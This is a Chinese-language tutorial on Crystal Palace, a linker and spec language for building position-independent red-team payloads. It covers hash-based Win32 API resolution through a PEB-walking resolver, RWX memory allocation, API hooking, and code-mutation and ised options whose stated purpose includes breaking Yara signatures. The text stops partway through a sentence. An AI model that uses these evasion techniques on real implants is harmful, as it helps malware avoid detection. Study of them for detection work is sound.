目录
概述
核心概念深度解析
安装与构建
命令行使用详解
规范文件与命令参考
Spec 命令深度教程
动态函数解析 (DFR) 深度解析
PICO 开发规范详解
二进制变形选项详解
ised 指令流编辑器详解
Hook 机制详解
共享库创建指南
LibTCG 完整函数参考
Yara 规则生成
常见陷阱与解决方案
实战案例:KaplaStrike 架构分析
最佳实践总结
附录:命令速查表
附录:内部实现原理
概述 什么是 Crystal Palace? Crystal Palace 是一个专门为”位置无关代码 (Position-Independent Code, PIC)”和渗透测试技术 (Tradecraft) 开发定制的链接器 (Linker) 和链接脚本语言。
该项目的命名灵感来源于 1851 年伦敦万国工业博览会建造的”水晶宫”。水晶宫在建造时采用了统一规格的螺丝钉和标准化组件,展示了标准化带来的巨大效率提升。同样,Crystal Palace 项目旨在解决将抽象的渗透战术理念转化为实际的、位置无关的功能代码时所遇到的普遍问题。
核心目标:战术 (Tradecraft) 与功能 (Capability) 分离 Tradecraft Garden 和 Crystal Palace 的核心目标是将规避检测的”战术”与执行载荷的”功能”相分离。这需要:
确立开发规范 :使战术、功能和库能够相互兼容
采用软件设计模式 :实现组件的隔离开发与重组
提供通用开发模型 :与具体用例无关的开发、测试和演示模型
主要特性
特性
描述
适用场景
资源附加与解析
将多个资源附加到 PIC 末尾,作为符号链接访问
嵌入配置、密钥、DLL
直接执行 COFF
PICO 规范直接执行标准 COFF 对象文件
BOF 兼容、模块化开发
资源加密与校验
RC4 加密、XOR 混淆、Adler-32 校验和
保护敏感数据
全局数据支持
为全局符号分配数据并正确处理引用
状态管理、配置存储
模块化构建
.spec 文件支持模块化调用
代码复用、团队协作
DFR 自动解析
自动处理 Win32 API 解析
简化 PIC 开发
共享库模型
合并通用功能到 COFF/PIC 程序
LibTCG 等共享库
二进制插桩
Self-hooking、IAT Hook
行为修改、监控
二进制变形
LTO、代码洗牌、指令变异
规避特征检测
Yara 规则生成
自动生成高置信度签名
检测测试、规则开发
通用规范 (The Common Convention) PICO (位置无关的 COFF,可以将其视为没有专属 API 限制的 Cobalt Strike BOF) 是 Crystal Palace 中标准的容器格式。它可用于:
存放位置无关代码
加载器准备好的 COFF
在两种上下文中均可工作的共享库
战术与功能的配对 Crystal Palace 提供了将战术与被封装为 DLL、PIC、PICO 和 BOF 的功能进行合并的工具:
配对类型
描述
优势
内存注入 DLL 加载器
将 DLL 功能与 DLL 加载器配对
成熟的加载方式
PIC 引导模式
将服务模块与 PICO 合并
体积小、完全控制
PICO 运行时战术
使用 attach 和 redirect 编织战术
灵活的行为修改
BOF 战术
通过 .spec 合并战术与 BOF
兼容现有生态
定义
术语
定义
DLL 加载器
将 DLL 解析并在内存中运行的定制加载器
PICO 加载器
加载 PICO 格式功能的加载器,体积更小、结构透明
位置无关代码 (PIC)
可加载到内存任意位置并从零偏移开始执行的代码
链接
生成无需操作系统加载器协助即可执行的 PIC 二进制
规范文件 (.spec)
驱动 Crystal Palace 链接器的脚本语言
核心概念深度解析 1. 位置无关代码 (PIC) 的挑战 编写 PIC 面临以下核心挑战:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌─────────────────────────────────────────────────────────────┐ │ PIC 开发挑战 │ ├─────────────────────────────────────────────────────────────┤ │ 1. 无法直接调用外部 API │ │ - 没有 IAT (导入地址表) │ │ - 需要运行时解析 API 地址 │ │ │ │ 2. 无法使用全局变量 │ │ - 全局变量地址在编译时确定 │ │ - 加载位置未知导致地址无效 │ │ │ │ 3. 无法使用字符串常量 │ │ - 字符串存储在 .rdata 段 │ │ - 绝对地址引用会失效 │ │ │ │ 4. x86 架构特殊问题 │ │ - 不支持 RIP 相对寻址 │ │ - 需要复杂的指针修复 │ └─────────────────────────────────────────────────────────────┘
2. Crystal Palace 的解决方案 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ┌─────────────────────────────────────────────────────────────┐ │ Crystal Palace 解决方案 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 挑战 1: API 调用 │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ DFR (动态函数解析) │ │ │ │ - MODULE$Function 命名约定 │ │ │ │ - 自动生成 ror13 哈希 │ │ │ │ - 运行时调用 resolver 函数 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ 挑战 2: 全局变量 │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ fixbss 机制 │ │ │ │ - 链接时分配 BSS 空间 │ │ │ │ - 运行时通过 _caller 获取基址 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ 挑战 3: 字符串常量 │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ fixptrs 机制 │ │ │ │ - 将字符串嵌入代码段 │ │ │ │ - 运行时修复指针引用 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ 挑战 4: x86 指针问题 │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ easypic pass │ │ │ │ - 自动检测危险引用 │ │ │ │ - 生成修复代码 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘
3. COFF 与 PICO 结构对比 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 ┌─────────────────────────────────────────────────────────────┐ │ 标准 COFF 结构 │ ├─────────────────────────────────────────────────────────────┤ │ File Header (20 bytes) │ │ ├─ Machine: 0x14c (x86) / 0x8664 (x64) │ │ ├─ NumberOfSections │ │ ├─ TimeDateStamp │ │ ├─ PointerToSymbolTable │ │ ├─ NumberOfSymbols │ │ ├─ SizeOfOptionalHeader (0 for COFF) │ │ └─ Characteristics │ │ │ │ Section Headers │ │ ├─ .text (代码段) │ │ ├─ .data (已初始化数据) │ │ ├─ .bss (未初始化数据) │ │ └─ .rdata (只读数据) │ │ │ │ Section Data │ │ Symbol Table │ │ String Table │ │ Relocations │ └─────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────┐ │ PICO 结构 │ ├─────────────────────────────────────────────────────────────┤ │ Header (16 bytes) │ │ ├─ Magic: 0x5049434F ("PICO") │ │ ├─ CodeSize │ │ ├─ DataSize │ │ └─ ExportsCount │ │ │ │ Code Section │ │ ├─ 位置无关代码 │ │ └─ 所有引用已解析 │ │ │ │ Data Section │ │ ├─ 全局变量 │ │ └─ 静态数据 │ │ │ │ Export Table │ │ ├─ 导出函数标签 │ │ └─ 用于运行时查找导出函数 │ └─────────────────────────────────────────────────────────────┘
4. 链接流程详解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ┌─────────────────────────────────────────────────────────────┐ │ Crystal Palace 链接流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 输入 │ │ ├─ COFF 对象文件 (.o) │ │ ├─ DLL 文件 (.dll) │ │ └─ 原始二进制 (.bin) │ │ │ │ 解析阶段 │ │ ├─ COFFParser: 解析 COFF 结构 │ │ ├─ PEParser: 解析 PE/DLL 结构 │ │ └─ SpecParser: 解析 .spec 脚本 │ │ │ │ 分析阶段 │ │ ├─ Code: 反汇编并分析代码 │ │ ├─ CodeVisitor: 遍历指令 │ │ └─ CodeInfo: 提取指令信息 │ │ │ │ 处理阶段 (Pass) │ │ ├─ easypic: 修复 PIC 引用问题 │ │ ├─ hook: 处理 attach/redirect │ │ ├─ mutate: 代码变异 │ │ └─ rulegen: 生成 Yara 规则 │ │ │ │ 重建阶段 │ │ ├─ Rebuilder: 重建 COFF │ │ ├─ Relocations: 处理重定位 │ │ └─ Jumps: 处理跳转目标 │ │ │ │ 导出阶段 │ │ ├─ ProgramPIC: 生成 PIC │ │ ├─ ProgramPICO: 生成 PICO │ │ └─ ProgramCOFF: 生成 COFF │ │ │ │ 输出 │ │ ├─ PIC 二进制 (.bin) │ │ ├─ PICO 二进制 │ │ └─ Yara 规则 (.yar) │ │ │ └─────────────────────────────────────────────────────────────┘
安装与构建 环境要求
组件
要求
说明
Java 运行环境
OpenJDK 11+
运行 crystalpalace.jar
构建工具
Apache Ant
从源码构建
C 编译器
MinGW-w64
编译 PIC/PICO 源码
汇编器
NASM
编写汇编存根
操作系统
Linux/WSL
推荐开发环境
安装步骤 1 2 3 4 5 6 7 8 tar zxvf cpdistYYYYMMDD.tgz java -jar crystalpalace.jar --version ./link --help
从源码构建 1 2 3 4 5 6 7 8 9 10 11 12 tar zxvf cpsrcYYYYMMDD.tgz cd cpsrcant clean ant ls -la build/crystalpalace.jar
构建演示程序 1 2 3 4 5 6 7 8 9 10 11 12 cd cpsrc/demomake clean make
命令行使用详解 基本用法 1 ./link [/path/to/loader.spec] [file.dll|.o] [out.bin]
参数说明 :
参数
类型
说明
loader.spec
必需
规范文件路径,定义构建流程
file.dll|.o
必需
输入文件,DLL 或 COFF 对象
out.bin
必需
输出文件路径
输入文件处理 :
1 2 3 4 输入文件类型 存储变量 ───────────────────────────── DLL (.dll) → $DLL COFF (.o) → $OBJECT
传递变量参数 1 ./link loader.spec file.dll out.bin NUMBER=04030201 %var="value" -r %files="a, b, c"
变量类型 :
前缀
类型
示例
说明
$
字节数组
NUMBER=04030201
十六进制转字节,小端序
%
字符串
%var="value"
字符串变量
-r
路径补全
-r %files="a.o, b.o"
自动补全文件路径
字节序示例 :
1 2 3 NUMBER=04030201 ↓ $NUMBER = { 0x01, 0x02, 0x03, 0x04 } // 小端序存储
配置文件与钩子 配置文件 :
1 ./link @config.spec loader.spec file.dll out.bin
before 钩子 :
1 2 # 在 export 命令前自动执行 before "export" : options +regdance +mutate
钩子执行顺序 :
1 2 3 1. before 钩子执行 2. 目标命令执行 3. after 钩子执行 (如果有)
Yara 规则生成 1 ./link loader.spec file.dll out.bin -g "rules.yar"
高级选项 :
1 2 3 4 5 ./link loader.spec file.dll out.bin -g rules.yar --rule-prefix "my_payload" ./link loader.spec file.dll out.bin -g rules.yar --min-bytes 16
调试选项 1 2 3 4 5 6 7 8 ./link loader.spec file.dll out.bin --disasm output.txt ./link loader.spec file.dll out.bin -v ./link loader.spec file.dll out.bin --keep-temp
规范文件与命令参考 架构标签 .spec 文件使用架构标签区分不同平台的构建逻辑:
1 2 3 4 5 6 7 8 9 10 11 x86: # 32位代码的构建逻辑 load "loader.x86.o" make pic export x64: # 64位代码的构建逻辑 load "loader.x64.o" make pic export
栈操作模型 Crystal Palace 使用栈 的概念处理中间对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ┌─────────────────────────────────────────────────────────────┐ │ 栈操作模型 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ load "file.o" ──→ [file.o 内容] │ │ ↓ 栈顶 │ │ make pic ──→ [PIC 配置对象] │ │ ↓ │ │ pop $VAR ──→ [空] $VAR = [PIC 配置对象] │ │ │ │ push $VAR ──→ [PIC 配置对象] │ │ ↓ │ │ export ──→ 输出二进制文件 │ │ │ └─────────────────────────────────────────────────────────────┘
加载与导出命令
命令
说明
示例
load "file"
将文件内容作为字节加载到栈上
load "payload.dll"
make coff
将栈上的字节转换为 COFF 对象
make coff +optimize
make object
将栈上的字节转换为 PICO 对象
make object +optimize +disco
make pic
将栈上的字节转换为 PIC 对象
make pic +mutate +shatter
export
将栈上的配置对象生成最终字节流
export
pop $VAR
将栈顶内容弹出存入变量
pop $PAYLOAD
push $VAR
将变量内容压入栈
push $PAYLOAD
make 命令选项详解
选项
说明
实现类
+optimize
启用链接时优化 (LTO),消除死代码
LinkTimeOptimizer.java
+disco
函数发现,识别代码中的函数边界
FunctionDisco.java
+mutate
指令变异,随机改变指令形式
Mutator.java
+shatter
代码块粉碎,打乱基本块顺序
Shatter.java
+regdance
寄存器舞蹈,随机交换寄存器使用
RegDance.java
+blockparty
块派对,随机重排代码块
BlockParty.java
+gofirst
确保入口函数在最前面
GoFirst.java
链接与资源命令
命令
说明
示例
link "section"
将栈顶数据链接到指定 section
link ".data"
linkfunc "symbol"
将代码字节链接到指定符号
linkfunc "go"
patch "symbol" $VAR
将变量内容补丁到符号位置
patch "g_config" $CONFIG
resource "name"
将栈顶内容作为命名资源附加
resource "config"
资源访问示例 :
1 2 3 4 5 6 7 8 extern char _resource_config_start;extern char _resource_config_end;void useResource () { char * data = &_resource_config_start; size_t size = &_resource_config_end - &_resource_config_start; }
数据处理与加密命令
命令
说明
示例
pack $VAR "template" args...
按模板打包数据
pack $CFG "iiZ" 1 2 "hello"
preplen
在栈内容前预置长度(4字节)
preplen
prepsum
在栈内容前预置 Adler-32 校验和
prepsum
rc4 $KEY
使用 RC4 加密栈内容
rc4 $SECRET
xor $KEY
使用 XOR 混淆栈内容
xor $MASK
mask
使用单字节掩码
mask 0xAA
generate $VAR N
生成 N 字节随机数
generate $KEY 32
pack 模板字符 :
字符
说明
大小
b
有符号字节
1 byte
B
无符号字节
1 byte
h
有符号短整数
2 bytes
H
无符号短整数
2 bytes
i
有符号整数
4 bytes
I
无符号整数
4 bytes
q
有符号长整数
8 bytes
Q
无符号长整数
8 bytes
z
以 null 结尾的 ASCII 字符串
变长
Z
UTF-16 宽字符串
变长
p
指针 (4 或 8 字节,取决于架构)
4/8 bytes
控制流与变量命令
命令
说明
示例
set "%var" "value"
设置局部字符串变量
set "%name" "payload"
setg "%var" "value"
设置全局字符串变量
setg "%arch" "x64"
foreach %var: cmd %_
遍历列表执行命令
foreach %f: load %_
call "file.spec" "label"
调用外部脚本标签
call "utils.spec" "encrypt"
.label
定义标签(函数入口)
.myFunction
return
从标签返回
return
run "file.spec"
执行另一个 spec 文件
run "pico.spec"
foreach 示例 :
1 2 3 4 set "%files" "a.o, b.o, c.o" foreach %f: load %f make object
Hook 与插桩命令
命令
说明
示例
attach "MODULE$Func" "hook"
拦截 Win32 API 调用
attach "KERNEL32$Sleep" "MySleep"
redirect "func" "hook"
重定向本地函数调用
redirect "malloc" "MyMalloc"
protect "func"
保护函数不被 hook
protect "MySleep"
preserve
保持当前函数不被优化
preserve
optout
退出优化
optout
addhook "API" "hook"
注册到 Hook 表
addhook "KERNEL32$Sleep" "_Sleep"
attach vs addhook 区别 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌─────────────────────────────────────────────────────────────┐ │ attach vs addhook │ ├─────────────────────────────────────────────────────────────┤ │ │ │ attach: │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ - 链接时重写调用点 │ │ │ │ - 直接替换 call 指令的目标 │ │ │ │ - 适用于直接调用 │ │ │ │ │ │ │ │ call KERNEL32$Sleep → call MySleep │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ addhook: │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ - 注册到 Hook 表 │ │ │ │ - 运行时通过 GetProcAddress 解析 │ │ │ │ - 适用于动态加载 │ │ │ │ │ │ │ │ GetProcAddress("Sleep") → 返回 MySleep 地址 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘
二进制变形与 ised 命令 ised (Instruction Stream Editor) 语法 :
1 ised verb "pattern" $CODE +opts
动词
说明
insert
在匹配位置前插入代码
append
在匹配位置后追加代码
replace
替换匹配的指令
pattern 语法 :
模式
说明
示例
具体指令
精确匹配汇编指令
"mov eax, 0"
抽象模式
使用通配符
"mov ?, ?"
多指令序列
用分号分隔
"push ebp; mov ebp, esp"
选项标志 :
标志
说明
+safe
安全模式,确保不破坏控制流
+all
匹配所有出现(默认只匹配第一个)
+norecurse
不递归处理插入的代码
+before
在匹配指令前插入
+after
在匹配指令后插入
+first
匹配多个时选择第一个
+last
匹配多个时选择最后一个
+split
在插入点创建基本块边界
动态函数解析 (DFR) 深度解析 什么是 DFR? DFR (Dynamic Function Resolution) 是 Crystal Palace 的核心特性之一,它允许 PIC 代码在运行时动态解析 Win32 API 地址,而无需手写复杂的 PE 解析代码。
DFR 工作原理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ┌─────────────────────────────────────────────────────────────┐ │ DFR 工作流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. 编译时 │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ C 代码: KERNEL32$Sleep(1000); │ │ │ │ ↓ │ │ │ │ 编译器生成外部符号引用 │ │ │ │ ↓ │ │ │ │ COFF 中包含 KERNEL32$Sleep 重定位 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ 2. 链接时 │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Crystal Palace 扫描所有 MODULE$Function 引用 │ │ │ │ ↓ │ │ │ │ 计算 ror13 哈希值 │ │ │ │ ↓ │ │ │ │ 生成调用 resolver 函数的代码 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ 3. 运行时 │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ 调用 resolver(modHash, funcHash) │ │ │ │ ↓ │ │ │ │ resolver 遍历 PEB 查找模块 │ │ │ │ ↓ │ │ │ │ 遍历导出表查找函数 │ │ │ │ ↓ │ │ │ │ 返回函数地址 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘
ror13 哈希算法 ror13 是一种常用的 API 哈希算法,通过循环右移 13 位来混淆函数名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned int ror13_hash (const char * str) { unsigned int hash = 0 ; while (*str) { hash = (hash >> 13 ) | (hash << 19 ); hash += *str++; } return hash; }
DFR 配置 在 .spec 文件中配置 DFR:
1 2 3 4 5 6 7 8 # 使用 ror13 哈希模式(推荐) dfr "resolve" "ror13" "KERNEL32, NTDLL" # 使用字符串模式(不推荐,会暴露 API 名称) dfr "resolve_ext" "strings" # 设置默认 resolver dfr "resolve" "ror13"
resolver 函数签名 :
1 2 3 4 5 FARPROC resolve (DWORD modHash, DWORD funcHash) ; FARPROC resolve_ext (const char * module, const char * function) ;
C 代码中的 DFR 使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId(void ); WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); typedef void * (*resolve_t )(unsigned int modHash, unsigned int funcHash);resolve_t resolve;void myFunction () { DWORD pid = KERNEL32$GetCurrentProcessId(); LPVOID mem = KERNEL32$VirtualAlloc(NULL , 4096 , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); }
resolver 函数实现示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <windows.h> HMODULE getModuleByHash (DWORD hash) { PPEB peb = (PPEB)__readgsqword(0x60 ); PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList; PLIST_ENTRY curr = head->Flink; do { PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD( curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList); if (entry->BaseDllName.Buffer) { DWORD h = ror13_hash_unicode(entry->BaseDllName.Buffer); if (h == hash) return (HMODULE)entry->DllBase; } curr = curr->Flink; } while (curr != head); return NULL ; } FARPROC getFunctionByHash (HMODULE hModule, DWORD hash) { PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew); PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( (BYTE*)hModule + nt->OptionalHeader.DataDirectory[0 ].VirtualAddress); DWORD* names = (DWORD*)((BYTE*)hModule + exp ->AddressOfNames); WORD* ords = (WORD*)((BYTE*)hModule + exp ->AddressOfNameOrdinals); DWORD* funcs = (DWORD*)((BYTE*)hModule + exp ->AddressOfFunctions); for (DWORD i = 0 ; i < exp ->NumberOfNames; i++) { char * name = (char *)((BYTE*)hModule + names[i]); if (ror13_hash(name) == hash) { return (FARPROC)((BYTE*)hModule + funcs[ords[i]]); } } return NULL ; } FARPROC resolve (DWORD modHash, DWORD funcHash) { HMODULE hMod = getModuleByHash(modHash); if (!hMod) return NULL ; return getFunctionByHash(hMod, funcHash); }
DFR 最佳实践
优先使用 ror13 模式 :避免在二进制中暴露 API 名称
限制模块范围 :只声明需要的模块,减少解析开销
缓存解析结果 :对于频繁调用的 API,缓存地址
错误处理 :resolver 应该处理解析失败的情况
1 2 3 4 5 6 7 8 9 10 11 static LPVOID (WINAPI *pVirtualAlloc) (LPVOID, SIZE_T, DWORD, DWORD) = NULL ;LPVOID MyVirtualAlloc (LPVOID addr, SIZE_T size, DWORD type, DWORD prot) { if (!pVirtualAlloc) { pVirtualAlloc = (LPVOID (WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD)) resolve(KERNEL32_HASH, VIRTUALALLOC_HASH); if (!pVirtualAlloc) return NULL ; } return pVirtualAlloc(addr, size, type, prot); }
PICO 开发规范详解 PICO 与 BOF 的区别
特性
PICO
BOF (Cobalt Strike)
入口点
go
go
API 访问
DFR 自动解析
需要 Beacon API
全局变量
支持 (fixbss)
有限支持
字符串
支持 (fixptrs)
需要特殊处理
库支持
共享库
无
导出函数
支持
不支持
资源嵌入
支持
不支持
PICO 编译器标志 GCC/MinGW 推荐标志 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 CFLAGS = -c -fno-jump-tables -fno-toplevel-reorder CFLAGS += -O0 CFLAGS += -fPIC CFLAGS += -fno-stack-protector -fno-exceptions -fno-rtti CFLAGS += -m64 x86_64-w64-mingw32-gcc -c -O2 -fPIC -fno-jump-tables \ -fno-toplevel-reorder -fno-stack-protector \ -m64 source.c -o source.x64.o
标志说明 :
标志
说明
-fno-jump-tables
禁用 switch 语句的跳转表
-fno-toplevel-reorder
保持函数顺序不变
-fPIC
生成位置无关代码
-fno-stack-protector
禁用栈保护
-fno-asynchronous-unwind-tables
不生成展开表
PICO 限制与注意事项
禁止 switch 语句 :
1 2 3 4 5 6 7 8 9 switch (x) { case 0 : ... break ; case 1 : ... break ; } if (x == 0 ) { ... }else if (x == 1 ) { ... }
不支持异常处理 (SEH) :
1 2 3 __try { ... } __except(...) { ... }
不支持浮点数 :
1 2 3 float x = 1.5 ;double y = 2.5 ;
入口点必须是 go :
1 2 3 4 void go (char * args, int len) { }
避免全局构造函数 :
1 2 3 4 5 6 MyClass globalObj; MyClass* globalObj = NULL ; void init () { globalObj = new MyClass(); }
PICO 参数传递 PICO 通过 go 函数的参数接收数据:
1 2 3 4 5 void go (char * args, int len) ;
参数解析示例 :
1 2 3 4 5 6 7 8 9 10 11 typedef struct { int port; wchar_t * hostname; } Config; void go (char * args, int len) { Config* cfg = (Config*)args; connectToServer(cfg->hostname, cfg->port); }
导出内部函数 1 2 3 4 5 6 7 8 __attribute__((exportfunc("myHelper" ))) void myHelper (int x) { } extern void myHelper (int x) ;
在 spec 中导出 :
1 2 exportfunc "setup_hooks" "__tag_setup_hooks" exportfunc "setup_memory" "__tag_setup_memory"
运行时查找导出函数 :
1 2 3 4 5 6 7 8 9 int __tag_setup_hooks();typedef void (*SETUP_HOOKS) (IMPORTFUNCS*) ;SETUP_HOOKS pSetupHooks = (SETUP_HOOKS)PicoGetExport( pico_src, pico_code, __tag_setup_hooks() ); pSetupHooks(&funcs);
PICO 内存布局 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ┌─────────────────────────────────────────────────────────────┐ │ PICO 内存布局 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 高地址 │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Data Section (RW) │ │ │ │ ├─ 全局变量 │ │ │ │ ├─ 静态变量 │ │ │ │ └─ BSS 数据 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Code Section (RX) │ │ │ │ ├─ go() 入口函数 │ │ │ │ ├─ 其他函数 │ │ │ │ └─ 嵌入的字符串常量 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Export Table │ │ │ │ ├─ 导出函数标签 │ │ │ │ └─ 用于 PicoGetExport 查找 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ 低地址 │ └─────────────────────────────────────────────────────────────┘
二进制变形选项详解 +optimize (链接时优化) 启用死代码消除 (DCE),移除未被引用的函数和数据:
实现原理 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌─────────────────────────────────────────────────────────────┐ │ LTO 工作流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. 构建调用图 │ │ ┌─────────────────────────────────────────────────┐ │ │ │ go() → funcA() → funcB() │ │ │ │ ↓ │ │ │ │ funcC() (未被调用) │ │ │ └─────────────────────────────────────────────────┘ │ │ │ │ 2. 标记可达节点 │ │ ┌─────────────────────────────────────────────────┐ │ │ │ go() ✓ funcA() ✓ funcB() ✓ │ │ │ │ funcC() ✗ (将被移除) │ │ │ └─────────────────────────────────────────────────┘ │ │ │ │ 3. 移除不可达代码 │ │ ┌─────────────────────────────────────────────────┐ │ │ │ 最终输出: go() → funcA() → funcB() │ │ │ └─────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘
效果 :
+mutate (指令变异) 随机改变指令的形式,保持语义不变:
变异示例 :
1 2 3 4 5 6 7 8 9 ; 原始指令 xor eax, eax ; 可能变异为以下任一形式 mov eax, 0 sub eax, eax and eax, 0 lea eax, [0] push 0; pop eax
常量混淆 :
1 2 3 4 5 6 ; 原始 mov eax, 0x12345678 ; 变异后 mov eax, 0x12345678 - 0xDEADBEEF add eax, 0xDEADBEEF
实现原理 (来自 Mutator.java):
1 2 3 4 5 6 7 8 9 10 11 protected void _buildConstant (CodeAssembler program, AsmRegister32 reg, int constant) { int magic = magic(); if (isSafeImm32(constant)) { program.mov(reg, constant - magic); program.add(reg, magic); } else { program.mov(reg, constant); } }
+disco (函数发现) 自动识别代码中的函数边界:
用途 :
处理没有调试信息的代码
识别内联函数
改善后续优化的准确性
识别方法 :
查找函数序言模式 (push rbp; mov rbp, rsp)
分析调用指令目标
处理尾调用优化
+shatter (代码块粉碎) 打乱基本块的顺序,增加逆向难度:
实现原理 (来自 Shatter.java):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected void setup (Rebuilder builder) { List first = (List)allblocks.removeFirst(); Collections.shuffle(rest); for (int x = 0 ; j.hasNext(); x++) { List next = (List)j.next(); List home = (List)myvals.get(x % myvals.size()); home.addAll(next); } }
效果 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ; 原始顺序 block1: ... jmp block2 block2: ... jmp block3 block3: ... ; 粉碎后 block3: ... jmp block1 block1: ... jmp block2 block2: ...
+regdance (寄存器舞蹈) 随机交换寄存器的使用:
效果 :
1 2 3 4 5 6 7 8 9 ; 原始 mov eax, 1 mov ebx, 2 add eax, ebx ; 变换后(可能) mov ecx, 1 mov edx, 2 add ecx, edx
注意事项 :
保留特殊寄存器 (rsp, rbp)
处理调用约定约束
避免破坏依赖关系
+blockparty (块派对) 随机重排代码块的位置:
与 +shatter 的区别:
+shatter: 打乱块顺序,但保持函数内
+blockparty: 完全随机重排位置
组合使用 1 2 3 4 5 6 7 8 # 最大混淆 make pic +optimize +mutate +shatter +regdance +blockparty # 平衡体积和混淆 make pic +optimize +mutate +shatter # 仅优化体积 make pic +optimize
ised 指令流编辑器详解 ised 基本语法 1 ised <verb> "<pattern>" $CODE [+opts]
动词详解
动词
说明
使用场景
insert
在匹配位置前 插入代码
函数入口注入
append
在匹配位置后 追加代码
函数出口注入
replace
替换匹配的指令
指令替换
pattern 语法 精确匹配 :
1 2 3 # 匹配特定指令 ised insert "push ebp" $CODE ised insert "mov eax, 0x12345678" $CODE
通配符匹配 :
1 2 3 4 5 # ? 匹配单个操作数 ised insert "mov ?, ?" $CODE # * 匹配任意操作数序列 ised insert "call *" $CODE
多指令序列 :
1 2 # 匹配函数序言 ised insert "push ebp; mov ebp, esp" $CODE
选项标志
标志
说明
+safe
安全模式,确保不破坏控制流
+all
匹配所有出现(默认只匹配第一个)
+norecurse
不递归处理插入的代码
+before
在匹配指令前插入
+after
在匹配指令后插入
+first
匹配多个时选择第一个
+last
匹配多个时选择最后一个
+split
在插入点创建基本块边界
实战示例 1. 在每个函数入口插入代码 :
1 2 3 4 5 # 准备要插入的代码 pack $PROLOG "\xcc" # int 3 断点 # 在函数序言前插入 ised insert "push ebp" $PROLOG +all
2. 替换睡眠调用 :
1 2 # 替换 Sleep 为自定义实现 ised replace "call KERNEL32$Sleep" $MY_SLEEP +safe
3. 在返回前插入清理代码 :
1 2 # 在 ret 前插入清理 ised append "ret" $CLEANUP +all
4. Yara 特征破坏 :
1 2 3 4 5 6 # 打包一个 NOP 指令 pack $NOP "b" 0x90 # 在特定指令前后插入 NOP,破坏 Yara 特征 ised insert "sub rsp, 0x20" $NOP +after ised insert "mov eax, 0x80078071" $NOP +before
ised 实现原理 ised 使用 Trie 树结构存储匹配模式:
